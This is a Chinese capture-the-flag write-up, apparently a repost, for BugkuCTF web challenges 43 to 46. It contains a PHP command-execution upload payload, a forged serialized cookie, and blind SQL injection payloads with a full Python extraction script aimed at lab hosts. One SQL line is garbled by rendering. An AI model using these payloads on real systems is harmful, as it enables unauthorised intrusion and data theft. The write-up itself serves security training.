admin 管理员组文章数量: 1086019
BugkuCTF-WEB-第43题到第52题
https://ctf.bugku/challenges
这里整理了bugkuCTF-WEB 43-52题的部分解法,部分题目已失效,很多题目有多种解法,想多了解更多的同学请搜索相关题目的wp,想学习更多的同学,欢迎去bugku新平台CTF论剑场https://new.bugku/
43,48,49,50,52题的连接失效打不开,可能是暂时失效
43.文件包含2
题目地址:http://123.206.31.85:49166/连接已失效
本题wp来自:https://blog.csdn/qq_39629343/article/details/80148665
访问网址查看源码
将hello.php改成upload.php,访问
直接构造命令执行
<script language=php>system("ls")</script>
访问图片路径
直接访问文件
或者构造命令执行
<script language=php>system("cat 访问的文件名.txt")</script>
44.flag.php
题目地址:http://123.206.87.240:8002/flagphp/
login按钮是不能点的,F12看一下控制台
将这里的button改为submit,变成可以点击的按钮,但是好像无意义,抓包来看,爆破了一会,感觉突破点不在这
扫了一下目录,发现有flag.php,访问,是空白页,看不懂php代码
想起题目上提示:hint,get传个参数试一下,果真有东西
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];//变量cookie的值等于获取Cookie中ISecer的值
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")//如果变量cookie的值等于$KEY,(注意这里的$KEY是用引号引起来的),则输出flag
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer';
?>
我们把cookie序列化一下
所以cookie的值应该为ISecer=s:0:"";
得到flag
45.sql注入2
题目地址:http://123.206.87.240:8007/web2/
直接admin admin登录会提示 password error!!@_@
如果随机用户名登录则会显示 username error!!@_@
想走一些捷径,试了试sql万能密码登录,爆破了一下密码,完蛋还真爆破出来了,admin123,额这题没这么简单吧
搜了搜wp果真不简单
看了一篇比较好的wp
用burpsuit抓包,再进行fuzz(模糊测试),用字典跑看usename的参数过滤了哪些关键词,其中数值为367的为没有被过滤的,数值为370的是被过滤的。
关键sql语句:select * from users where name=0 ,会输出所有语句。
减号没有被过滤,于是想到利用减号闭合,
在运算的时候,字符串‘admin’转换成0
admin’-1-’ 等于-1
admin’-0-’ 等于0
admin’-0-‘的时候为显示password error,说明条件为真,admin’-1-‘时候为username error,为false,猜测后台构造为:
s q l = s e l e c t ∗ f r o m u s e r s w h e r e u s e r n a m e = sql = select * from users where username= sql=select∗fromuserswhereusername=username;当传入admin’-0-‘时sql语句为:select * from users where username=0,正常查询返回所有值。
当传入admin’-1-'时SQL语句为select * from users where username=-1,报错
构造SQL语句:
取字段中的值进行查询
mid((‘passwd’)from(-1)):d 这时需要取反
查询admin中第一个字符a的ascii码
select ascii(mid((‘admin’)from(1))); 取ASCII码的值时此时又不需要取反了,所以到这一步可以省掉一个REVERSE()函数
脚本编写:
从passwd字段中查询逐个查询字段值的ASCII码值判断,字段值范围缩小到了md5值的范围,i= (1.33)j in ‘0123456789abcdef’
passwd字段是一叶飘零师傅猜的:
payload:
admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'
若ascii(MID((passwd)from(“1”)))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin’-1-’ 和 admin’-0-’ 形式
通过判断返回内容是否存在username error!!@_@"来确定条件是否为真
编写脚本如下:
#!-*-coding:utf-8-*-
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn'
}
password = ""
for i in range(1,33):
for j in '0123456789abcdef':
payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
data = {
'uname': payload,
'passwd': '123'
}
r = requests.post(url=url,cookies=cookie,data=data)
#print r.content
if "username error!!@_@" in r.content:
password += j
print password
break
运行结果:0192023a7bbd73250516f069df18b500,解md5为 admin12
创新方法,使用异或^也能做
提示中也没有过滤异或符号,联系到刚学的异或注入方法,构造admin1=01=1型式,则0(ascii(MID((‘admin’)from(“1”)))=“97”) 等价于 0^1=1
payload可以改成:
0'^(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")^'
拿到密码进去后根据其实输入ls即可得到flag
其它解题的方法:dirsearch+ds_store,
有时间做做
本题wp来自:https://wwwblogs/rainbow7/p/11697444.html
46.孙xx的博客
题目地址:http://123.206.87.240:2014
打开题目是一个wordpress界面
扫了一下目录
试着打开每一个页面看一看有没有猫腻,结果都是正常配置文件或者插件
然后去找了wp,只找到这个
点开blog,浏览一哈全部的博客,然后看到了这
版权声明:本文标题:BugkuCTF-WEB-第43题到第52题 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.roclinux.cn/b/1726378354a958234.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论